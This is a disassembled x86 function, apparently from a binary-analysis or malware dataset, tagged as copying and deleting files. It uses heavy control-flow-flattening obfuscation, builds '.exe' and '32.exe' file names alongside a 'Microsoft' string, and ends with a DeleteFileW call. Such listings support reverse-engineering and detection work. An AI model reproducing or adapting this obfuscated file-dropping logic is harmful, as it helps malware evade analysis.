Function at 0x410e20
Capabilities:
Copy file
Delete file

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
mov eax, 0x1cb8
call fcn.00417500
mov dword [esp + 0x1c9c], 0
mov dword [esp + 0x1c98], 0
mov dword [esp + 0x1c94], 0
mov dword [esp + 0x1c90], 0
mov dword [esp + 0x1c8c], 0
mov dword [esp + 0x1c88], 0
mov dword [esp + 0x1c84], 0
mov dword [esp + 0x1c80], 0
mov dword [esp + 0x1c7c], 0
mov dword [esp + 0x1c78], 0
mov dword [esp + 0x1c74], 0
mov dword [esp + 0x1c70], 0
mov dword [esp + 0x1c6c], 0
mov dword [esp + 0x1c68], 0
mov dword [esp + 0x1c64], 0
mov dword [esp + 0x1c60], 0
mov dword [esp + 0x1c5c], 0
mov dword [esp + 0x1c58], 0
mov dword [esp + 0x1c1c], 0
lea eax, [esp + 0x1a12]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00417ce0
lea eax, [esp + 0x1808]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00417ce0
lea eax, [esp + 0x15fe]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00417ce0
lea eax, [esp + 0x13f4]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00417ce0
lea eax, [esp + 0x11ea]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00417ce0
lea eax, [esp + 0xfe0]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00417ce0
lea esi, [esp + 0xdd6]
mov dword [esp], esi
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00417ce0
lea eax, [esp + 0xbcc]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00417ce0
lea eax, [esp + 0x9c2]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00417ce0
lea eax, [esp + 0x7b8]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00417ce0
lea eax, [esp + 0x5ae]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00417ce0
lea eax, [esp + 0x19a]
mov dword [esp], eax
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.00417ce0
lea eax, [esp + 0xd2]
mov dword [esp], eax
mov dword [esp + 8], 0xc8
mov dword [esp + 4], 0
call fcn.00417ce0
mov dword [esp + 0xcc], 0
mov dword [esp + 0xc8], 0
mov dword [esp + 0xc4], 0
mov dword [esp + 0xc0], 0
mov dword [esp + 0xbc], 0
mov dword [esp + 0xb8], 0
mov dword [esp + 0xb4], 0
mov dword [esp + 0xb0], 0
mov dword [esp + 0xac], 0
mov dword [esp + 0xa8], 0
mov dword [esp + 0xa4], 0
mov dword [esp + 0xa0], 0
mov dword [esp + 0x9c], 0
mov dword [esp + 0x98], 0
mov dword [esp + 0x94], 0
mov dword [esp + 0x90], 0
mov dword [esp + 0x8c], 0
mov dword [esp + 0x88], 0
mov word [esp + 0x84], 0
mov dword [esp + 0x80], 0
mov dword [esp + 0x7c], 0
mov dword [esp + 0x60], 0
mov dword [esp + 0x5c], 0xffffffff
call fcn.00410a50
mov dword [esp + 0x1ca4], eax
mov dword [esp + 0x54], 0xf97f052d
jmp 0x4111b0
mov dword [esp + 0x54], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x54]
cmp eax, 0x8857f5e2
jg 0x4111e0
cmp eax, 0x817564a8
jne 0x4111b0
mov al, byte [esp + 0x1cae]
test al, al
mov eax, 0x893cc10b
jne 0x4111a3
mov eax, 0x391aa24d
jmp 0x4111a3
cmp eax, 0x7fb822b7
jg 0x4112d0
cmp eax, 0x88c16d56
jg 0x411e24
cmp eax, 0x8857f5e3
jne 0x4111b0
lea edi, [esp + 0x13f4]
mov dword [esp], edi
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.004042b0
mov ebx, esi
lea esi, [esp + 0x11ea]
mov dword [esp], esi
mov dword [esp + 8], 0x20a
mov dword [esp + 4], 0
call fcn.004042b0
mov dword [esp], edi
mov dword [esp + 4], 0x104
call fcn.004063c0
mov eax, dword [esp + 0x6c]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x15fe]
mov dword [esp + 8], eax
mov dword [esp], esi
mov dword [esp + 4], 0x104
call fcn.00404820
mov dword [esp], edi
call fcn.00404c20
mov ecx, dword [esp + 0x6c]
mov edx, 0x104
sub edx, ecx
lea ecx, [esp + ecx*2 + 0x11ea]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edi
mov dword [esp + 4], edx
mov dword [esp], ecx
call fcn.00404820
mov dword [esp], esi
mov esi, ebx
mov dword [esp + 4], 0
call dword [0x46d7e4]
sub esp, 8
mov dword [esp + 0x1c94], eax
mov dword [esp + 0x54], 0xe3bfaf58
jmp 0x4111b0
cmp eax, 0x7fb822b8
jne 0x4111b0
mov eax, dword [0x46d618]
mov ecx, dword [0x46d640]
mov edx, dword [esp + 0x1c94]
lea esi, [esp + 0x1c54]
mov dword [esp + 0x14], esi
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 1
call dword [0x46d7d8]
sub esp, 0x18
mov eax, dword [0x46d628]
mov ecx, dword [0x46d640]
mov edx, dword [esp + 0x1c94]
lea esi, [esp + 0x1c50]
mov dword [esp + 0x14], esi
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
call dword [0x46d7d8]
sub esp, 0x18
mov eax, dword [0x46d62c]
mov ecx, dword [0x46d640]
mov edx, dword [esp + 0x1c94]
lea esi, [esp + 0x1c4c]
mov dword [esp + 0x14], esi
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
call dword [0x46d7d8]
sub esp, 0x18
mov eax, dword [0x46d618]
mov ecx, dword [0x46d63c]
mov edx, dword [esp + 0x1c94]
lea esi, [esp + 0x1c48]
mov dword [esp + 0x14], esi
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
call dword [0x46d7d8]
sub esp, 0x18
mov eax, dword [0x46d60c]
mov ecx, dword [0x46d64c]
mov edx, dword [esp + 0x1c94]
lea esi, [esp + 0x1c44]
mov dword [esp + 0x14], esi
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
call dword [0x46d7d8]
sub esp, 0x18
mov eax, dword [0x46d618]
mov ecx, dword [0x46d650]
mov edx, dword [esp + 0x1c94]
lea esi, [esp + 0x1c40]
mov dword [esp + 0x14], esi
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
call dword [0x46d7d8]
sub esp, 0x18
mov eax, dword [0x46d65c]
mov ecx, dword [0x46d654]
mov edx, dword [esp + 0x1c94]
lea esi, [esp + 0x1c3c]
mov dword [esp + 0x14], esi
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
call dword [0x46d7d8]
sub esp, 0x18
mov eax, dword [0x46d658]
mov ecx, dword [0x46d654]
mov edx, dword [esp + 0x1c94]
lea esi, [esp + 0x1c38]
mov dword [esp + 0x14], esi
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
call dword [0x46d7d8]
sub esp, 0x18
mov eax, dword [0x46d658]
mov ecx, dword [0x46d640]
mov edx, dword [esp + 0x1c94]
lea esi, [esp + 0x1c34]
mov dword [esp + 0x14], esi
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 1
call dword [0x46d7d8]
sub esp, 0x18
mov eax, dword [esp + 0x1c94]
mov dword [esp], eax
call dword [0x46d7d4]
sub esp, 4
call fcn.00417e4f
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffff0
and eax, 0xf
add eax, edx
xor ecx, eax
and ecx, eax
lea esi, [esp + 0xd2]
mov dword [esp + 4], esi
mov dword [esp], ecx
mov dword [esp + 8], 0xa
call fcn.00418804
mov dword [esp], esi
call fcn.00404c20
mov dword [esp + 0x78], eax
lea ecx, [eax + 1]
mov dword [esp + 0x78], ecx
mov word [esp + eax*2 + 0xd2], 0x2e
mov eax, dword [esp + 0x78]
lea edi, [esp + eax*2 + 0xd2]
call fcn.00417e4f
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
add eax, edx
xor ecx, eax
and ecx, eax
mov dword [esp + 4], edi
mov dword [esp], ecx
mov dword [esp + 8], 0xa
call fcn.00418804
mov dword [esp], esi
call fcn.00404c20
mov dword [esp + 0x78], eax
mov ecx, eax
neg ecx
mov edx, 1
sub edx, ecx
mov dword [esp + 0x78], edx
mov word [esp + eax*2 + 0xd2], 0x2e
mov eax, dword [esp + 0x78]
lea edi, [esp + eax*2 + 0xd2]
call fcn.00417e4f
mov ecx, eax
not ecx
and eax, 0x42fb3a66
mov edx, ecx
and edx, 0xbd04c599
add edx, eax
xor edx, 0xbd04c59c
and ecx, 0xfffffffa
or ecx, edx
mov eax, ecx
not eax
and eax, 0x3095922d
and ecx, 0xcf6a6dd2
add ecx, eax
xor ecx, 0xcf6a6dd2
mov dword [esp + 4], edi
mov dword [esp], ecx
mov dword [esp + 8], 0xa
call fcn.00418804
mov dword [esp], esi
call fcn.00404c20
mov dword [esp + 0x78], eax
mov ecx, 0x7a93b409
sub ecx, eax
mov edx, 0x7a93b40a
sub edx, ecx
mov dword [esp + 0x78], edx
mov word [esp + eax*2 + 0xd2], 0x2e
mov eax, dword [esp + 0x78]
lea edi, [esp + eax*2 + 0xd2]
call fcn.00417e4f
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x7a774793
and eax, 0x8588b86c
add eax, edx
xor eax, 0x8588b860
xor ecx, eax
and ecx, eax
mov dword [esp + 4], edi
mov dword [esp], ecx
mov dword [esp + 8], 0xa
call fcn.00418804
mov dword [esp], esi
call fcn.00404c20
mov dword [esp + 0x78], eax
mov eax, dword [0x422134]
movzx eax, byte [eax]
mov dword [esp + 0x74], eax
mov ecx, dword [0x422134]
movzx eax, byte [eax + ecx + 1]
mov dword [esp + 0x70], eax
mov ecx, dword [0x422134]
mov edx, dword [esp + 0x74]
lea edx, [ecx + edx + 2]
inc ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], edx
mov dword [esp + 8], ecx
lea edi, [esp + 0x98]
mov dword [esp], edi
mov dword [esp + 4], 0x10
call fcn.00403060
mov eax, dword [0x46d634]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7d0]
sub esp, 8
mov dword [esp + 0x1c30], eax
mov eax, dword [0x46d664]
mov ecx, dword [0x46d614]
mov edx, dword [esp + 0x1c94]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0xc], 0
call dword [0x46d7c8]
sub esp, 0x10
mov eax, dword [0x46d630]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7c4]
sub esp, 0xc
mov eax, dword [0x46d618]
mov ecx, dword [esp + 0x1c94]
lea edx, [esp + 0x13f4]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7c4]
sub esp, 0xc
mov eax, dword [0x46d610]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 1
call dword [0x46d7c0]
sub esp, 0xc
mov eax, dword [0x46d660]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 0xc], 0x10
call dword [0x46d7bc]
sub esp, 0x10
mov eax, dword [0x46d638]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7d0]
sub esp, 8
mov dword [esp + 0x1c2c], eax
mov eax, dword [esp + 0x1c48]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7b8]
sub esp, 8
mov eax, dword [esp + 0x1c48]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7b4]
sub esp, 8
mov eax, dword [esp + 0x1c40]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7b8]
sub esp, 8
mov eax, dword [esp + 0x1c40]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7b4]
sub esp, 8
mov eax, dword [esp + 0x1c2c]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7cc]
sub esp, 8
mov eax, dword [esp + 0x1c50]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7b8]
sub esp, 8
mov eax, dword [esp + 0x1c50]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7b4]
sub esp, 8
mov eax, dword [esp + 0x1c4c]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7b8]
sub esp, 8
mov eax, dword [esp + 0x1c4c]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7b4]
sub esp, 8
mov eax, dword [esp + 0x1c54]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7b8]
sub esp, 8
mov eax, dword [esp + 0x1c34]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7b8]
sub esp, 8
call fcn.00417e4f
mov ecx, eax
mov edx, 0xcccccccd
mul edx
shr edx, 2
lea eax, [edx + edx*4]
sub ecx, eax
mov eax, dword [ecx*4 + 0x422138]
mov dword [esp + 0x1c1c], eax
movzx eax, word [eax]
mov dword [esp + 0x74], eax
mov ecx, dword [esp + 0x1c1c]
movzx eax, word [ecx + eax*2 + 2]
mov dword [esp + 0x70], eax
mov ecx, dword [esp + 0x1c1c]
mov edx, dword [esp + 0x74]
lea edi, [ecx + edx*2 + 4]
add ecx, 2
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], edi
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
lea eax, [esp + 0x1a12]
mov edi, eax
mov dword [esp], edi
call fcn.00403740
mov eax, dword [esp + 0x74]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edi
lea ebx, [esp + 0xbcc]
mov dword [esp], ebx
mov dword [esp + 4], 0x104
call fcn.00404820
mov eax, dword [esp + 0x74]
mov ecx, 0x104
sub ecx, eax
lea eax, [esp + eax*2 + 0xbcc]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov dword [esp + 0xc], 4
mov dword [esp + 8], str..exe
call fcn.00404820
mov eax, dword [esp + 0x74]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edi
lea edi, [esp + 0x9c2]
mov dword [esp], edi
mov dword [esp + 4], 0x104
call fcn.00404820
mov eax, dword [esp + 0x74]
mov ecx, 0x104
sub ecx, eax
lea eax, [esp + eax*2 + 0x9c2]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov dword [esp + 0xc], 6
mov dword [esp + 8], str.32.exe
call fcn.00404820
mov eax, dword [0x42214c]
movzx eax, byte [eax]
mov dword [esp + 0x74], eax
mov ecx, dword [0x42214c]
movzx eax, byte [eax + ecx + 1]
mov dword [esp + 0x70], eax
mov ecx, dword [0x42214c]
mov edx, dword [esp + 0x74]
lea edx, [ecx + edx + 2]
inc ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], edx
mov dword [esp + 8], ecx
lea esi, [esp + 0x88]
mov dword [esp], esi
mov dword [esp + 4], 0x10
call fcn.00403060
mov eax, dword [0x46d640]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7d0]
sub esp, 8
mov dword [esp + 0x1c28], eax
mov eax, dword [0x46d618]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7c4]
sub esp, 0xc
mov eax, dword [0x46d620]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7c4]
sub esp, 0xc
mov eax, dword [0x46d61c]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], str.Microsoft
call dword [0x46d7c4]
sub esp, 0xc
mov eax, dword [0x46d658]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 0xc], 0x10
call dword [0x46d7bc]
sub esp, 0x10
mov eax, dword [0x46d644]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7d0]
sub esp, 8
mov dword [esp + 0x1c24], eax
mov eax, dword [0x46d618]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 0x4832e0
call dword [0x46d7c4]
sub esp, 0xc
mov eax, dword [esp + 0x1c24]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7cc]
sub esp, 8
mov eax, dword [0x422150]
movzx eax, word [eax]
mov dword [esp + 0x74], eax
mov ecx, dword [0x422150]
movzx eax, word [ecx + eax*2 + 2]
mov dword [esp + 0x70], eax
mov ecx, dword [0x422150]
mov edx, dword [esp + 0x74]
lea edi, [ecx + edx*2 + 4]
add ecx, 2
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], edi
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
lea eax, [esp + 0xa8]
mov esi, eax
mov dword [esp], esi
call fcn.00403740
mov eax, dword [0x46d648]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7d0]
sub esp, 8
mov dword [esp + 0x1c20], eax
mov eax, dword [0x46d618]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 8], esi
lea esi, [esp + 0xdd6]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7c4]
sub esp, 0xc
mov eax, dword [0x46d624]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7c4]
sub esp, 0xc
mov eax, dword [esp + 0x1c20]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7cc]
sub esp, 8
mov eax, dword [esp + 0x1c28]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7cc]
sub esp, 8
mov eax, dword [esp + 0x1c34]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7b4]
sub esp, 8
mov eax, dword [esp + 0x1c54]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7b4]
sub esp, 8
mov eax, dword [esp + 0x1c3c]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7b8]
sub esp, 8
mov eax, dword [esp + 0x1c38]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7b8]
sub esp, 8
mov eax, dword [esp + 0x1c38]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7b4]
sub esp, 8
mov eax, dword [esp + 0x1c3c]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7b4]
sub esp, 8
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7b8]
sub esp, 8
mov eax, dword [esp + 0x1c44]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7b4]
sub esp, 8
mov eax, dword [esp + 0x1c30]
mov ecx, dword [esp + 0x1c94]
mov dword [esp + 4], eax
mov dword [esp], ecx
call dword [0x46d7cc]
sub esp, 8
mov eax, dword [esp + 0x1c94]
mov dword [esp], eax
call dword [0x46d7dc]
sub esp, 4
lea eax, [esp + 0x19a]
mov edi, eax
mov dword [esp], edi
mov dword [esp + 4], 0x20a
call fcn.004068e0
mov dword [esp + 8], edi
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [0x46d81c]
sub esp, 0xc
mov dword [esp + 0x1c9c], eax
mov ecx, 0x88c16d57
test eax, eax
je 0x411e1b
mov ecx, 0x5880cb8d
mov dword [esp + 0x54], ecx
jmp 0x4111b0
cmp eax, 0x893cc10a
jg 0x411e3b
cmp eax, 0x88c16d57
jne 0x4111b0
jmp 0x4130f0
cmp eax, 0x95ecc639
jg 0x411e5a
cmp eax, 0x893cc10b
jne 0x4111b0
mov dword [esp + 0x54], 0xf7f1bf96
jmp 0x4111b0
cmp eax, 0x96534ee5
jg 0x411e8c
cmp eax, 0x95ecc63a
jne 0x4111b0
mov eax, dword [esp + 0x1c9c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp + 0x54], 0x74761025
jmp 0x4111b0
cmp eax, 0x98062a53
jg 0x411ef6
cmp eax, 0x96534ee6
jne 0x4111b0
mov eax, dword [esp + 0x1c90]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [0x46d7e8]
sub esp, 0x10
mov dword [esp + 0x5c], 1
mov dword [esp + 0x54], 0x98655bd1
jmp 0x4111b0
cmp eax, 0x98655bd0
jg 0x411f25
cmp eax, 0x98062a54
jne 0x4111b0
mov eax, 0xb9f38763
cmp dword [esp + 0x1c98], 0
jne 0x411f1c
mov eax, 0xb4ded102
mov dword [esp + 0x54], eax
jmp 0x4111b0
cmp eax, 0x992b8b27
jg 0x411f44
cmp eax, 0x98655bd1
jne 0x4111b0
mov dword [esp + 0x54], 0x98062a54
jmp 0x4111b0
cmp eax, 0x99a7e2e3
jg 0x411f6e
cmp eax, 0x992b8b28
jne 0x4111b0
mov dword [esp + 0x1ca0], 0xffffffff
mov dword [esp + 0x54], 0xc42a3887
jmp 0x4111b0
cmp eax, 0xa87113aa
jg 0x411fa0
cmp eax, 0x99a7e2e4
jne 0x4111b0
mov dword [esp + 0x1ca0], 0xffffffff
mov byte [esp + 0x1cab], 1
mov dword [esp + 0x54], 0xde098017
jmp 0x4111b0
cmp eax, 0xb2bd47c8
jg 0x411fbf
cmp eax, 0xa87113ab
jne 0x4111b0
mov dword [esp + 0x54], 0xbbe6bd03
jmp 0x4111b0
cmp eax, 0x7e7cbc74
jg 0x41228c
cmp eax, 0x7e64f6ea
jg 0x4122a4
cmp eax, 0x7d4cf000
jg 0x4122bc
cmp eax, 0x7b7a4f8a
jg 0x4122d4
cmp eax, 0x77411607
jg 0x41230f
cmp eax, 0x74761024
jg 0x412327
cmp eax, 0x724c2a4a
jg 0x41233f
cmp eax, 0x70245a69
jg 0x4123c0
cmp eax, 0x6fd536dd
jg 0x4123d8
cmp eax, 0x68e03264
jg 0x41243b
cmp eax, 0x6016bf7a
jg 0x412453
cmp eax, 0x5ffa0356
jg 0x41246b
cmp eax, 0x59a374be
jg 0x41248e
cmp eax, 0x599becf7
jg 0x41249e
cmp eax, 0x5880cb8c
jg 0x4124ae
cmp eax, 0x50484154
jg 0x4124ef
cmp eax, 0x4f99c450
jg 0x4125ba
cmp eax, 0x4e9e8e69
jg 0x4125e5
cmp eax, 0x4c984d57
jg 0x4125fd
cmp eax, 0x4b354cd9
jg 0x4126f6
cmp eax, 0x3bb39dc4
jg 0x412719
cmp eax, 0x391aa24c
jg 0x412744
cmp eax, 0x37e7477c
jg 0x412762
cmp eax, 0x2eea5c49
jg 0x4127a3
cmp eax, 0x2ec6ae9c
jg 0x4127cc
cmp eax, 0x269d252e
jg 0x412932
cmp eax, 0x22c9ba67
jg 0x41297b
cmp eax, 0x1e58e4b2
jg 0x4129ae
cmp eax, 0x1d722386
jg 0x4129cc
cmp eax, 0x18ab201f
jg 0x4129dc
cmp eax, 0x182a1991
jg 0x412a79
cmp eax, 0x116f6429
jg 0x412aa4
cmp eax, 0x335ec55
jg 0x412abc
cmp eax, 0x10e9db
jg 0x412b47
cmp eax, 0xff7ed005
jg 0x412c51
cmp eax, 0xfc34f937
jg 0x412c69
cmp eax, 0xf97f052c
jg 0x412c81
cmp eax, 0xf7f1bf95
jg 0x412ca9
cmp eax, 0xf43c24c6
jg 0x412cc1
cmp eax, 0xf26b522b
jg 0x412ce9
cmp eax, 0xef7877b7
jg 0x412cf9
cmp eax, 0xe427fdab
jg 0x412d11
cmp eax, 0xe3bfaf57
jg 0x412d29
cmp eax, 0xe285c53d
jg 0x412d51
cmp eax, 0xe2307d18
jg 0x412d69
cmp eax, 0xde098016
jg 0x412d92
cmp eax, 0xdd469705
jg 0x412dbb
cmp eax, 0xd876d4f6
jg 0x412e44
cmp eax, 0xd71dc6dc
jg 0x412e9b
cmp eax, 0xd60fbe02
jg 0x412ebe
cmp eax, 0xd5d3179a
jg 0x412ed6
cmp eax, 0xd3264c63
jg 0x412eee
cmp eax, 0xcd7c9998
jg 0x412f47
cmp eax, 0xc8519d7b
jg 0x412fa4
cmp eax, 0xc77146e8
jg 0x41309d
cmp eax, 0xc42a3886
jg 0x4130b5
cmp eax, 0xc364bcb2
jg 0x4130cd
cmp eax, 0xc2ca2488
jg 0x4130e5
cmp eax, 0xbbe6bd02
jg 0x413118
cmp eax, 0xb9ffe00d
jg 0x413130
cmp eax, 0xb9f38762
jg 0x413155
cmp eax, 0xb4ded101
jg 0x413180
cmp eax, 0xb2bd47c9
je 0x412f29
cmp eax, 0xb2c1f3c3
jne 0x4131a8
mov dword [esp + 0x54], 0xb419a0f0
jmp 0x4111b0
cmp eax, 0x7e7cbc75
jne 0x4111b0
mov dword [esp + 0x54], 0xb2c1f3c3
jmp 0x4111b0
cmp eax, 0x7e64f6eb
jne 0x4111b0
mov dword [esp + 0x54], 0xa87113ab
jmp 0x4111b0
cmp eax, 0x7d4cf001
jne 0x4111b0
mov dword [esp + 0x54], 0x98062a54
jmp 0x4111b0
cmp eax, 0x7b7a4f8b
jne 0x4111b0
lea eax, [esp + 0x11ea]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
sub esp, 4
call fcn.00410e00
mov eax, dword [esp + 0x5c]
mov dword [esp + 0x1ca0], eax
mov dword [esp + 0x54], 0x68e03265
jmp 0x4111b0
cmp eax, 0x77411608
jne 0x4111b0
mov dword [esp + 0x54], 0x335ec56
jmp 0x4111b0
cmp eax, 0x74761025
jne 0x4111b0
mov dword [esp + 0x54], 0x7b7a4f8b
jmp 0x4111b0
cmp eax, 0x724c2a4b
jne 0x4111b0
mov eax, dword [esp + 0x78]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x7b8]
mov dword [esp + 8], eax
lea eax, [esp + 0xfe0]
mov edi, esi
mov esi, eax
mov dword [esp], esi
mov dword [esp + 4], 0x104
call fcn.00404a50
mov dword [esp + 0x64], eax
mov word [esp + eax*2 + 0xfd8], 0
mov dword [esp + 0xc], esi
mov esi, edi
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
sub esp, 0x10
mov dword [esp + 0x1c98], eax
mov dword [esp + 0x54], 0x335ec56
jmp 0x4111b0
cmp eax, 0x70245a6a
jne 0x4111b0
mov dword [esp + 0x54], 0xc42a3887
jmp 0x4111b0
cmp eax, 0x6fd536de
jne 0x4111b0
mov eax, dword [esp + 0x1c90]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [0x46d7e8]
sub esp, 0x10
mov dword [esp + 0x5c], 1
mov dword [esp + 0x54], 0x96534ee6
jmp 0x4111b0
cmp eax, 0x68e03265
jne 0x4111b0
mov dword [esp + 0x54], 0xb2c1f3c3
jmp 0x4111b0
cmp eax, 0x6016bf7b
jne 0x4111b0
mov dword [esp + 0x54], 0x182a1992
jmp 0x4111b0
